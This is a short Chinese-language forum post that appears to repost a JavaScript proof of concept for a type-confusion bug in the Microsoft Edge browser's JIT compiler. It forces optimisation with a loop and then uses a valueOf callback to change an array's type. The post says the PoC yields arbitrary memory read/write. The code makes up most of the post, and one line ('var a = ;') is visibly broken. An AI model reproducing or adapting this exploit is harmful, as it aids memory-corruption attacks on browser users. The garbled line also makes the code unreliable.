JackBrown 发表于 2017-3-25 13:35

Edge:导致类型混淆的bug

"use strict";
function func(a, b, c) {
a = 1.2;
b = c; <<<<----------------------- (1)
a = 2.2;
a = 2.3023e-320;
}

function main() {
var a = ;
var b = new Uint32Array(100);

// 强行优化
for (var i = 0; i < 0x10000; i++)
func(a, b, i);

func(a, b, {valueOf: () => {
a = {}; <<<<----------------------- (2)

return 0;
}});

a.toString();
}

main();

在上面的代码中,假定类型的|a|还是一个本地浮动数组,执行(1)后,可以改变它的类型的处理程序((2)),导致类型混淆。
PoC将复制任意内存读/写。
//Edge38.14393.0.0
页: [1]
查看完整版本: Edge:导致类型混淆的bug